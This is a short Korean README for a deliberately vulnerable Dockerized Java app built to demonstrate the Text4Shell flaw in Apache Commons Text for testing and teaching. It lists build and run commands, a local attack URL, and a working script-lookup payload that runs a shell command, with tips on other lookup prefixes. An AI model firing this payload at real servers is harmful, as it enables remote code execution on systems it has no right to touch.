
Apache Commons Text 문자열 조회를 통해 CVE-2022-42889(Text4Shell) 원격 코드 실행을 시연하는 Docker화된 취약한 Java 애플리케이션으로, 보안 테스트 및 교육용입니다.
mvn clean install
docker build --tag=text4shell .
docker run -p 80:8080 text4shell
http://localhost/text4shell/attack?search=<anything>
${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo')}
dns 또는 url 접두사를 사용해 볼 수도 있습니다.
컨테이너 ID 확인
docker container ls
docker exec -it <container_id> bash
/tmp 디렉토리에 foo라는 파일이 생성되었는지 확인):ls /tmp/
docker container stop <container_id>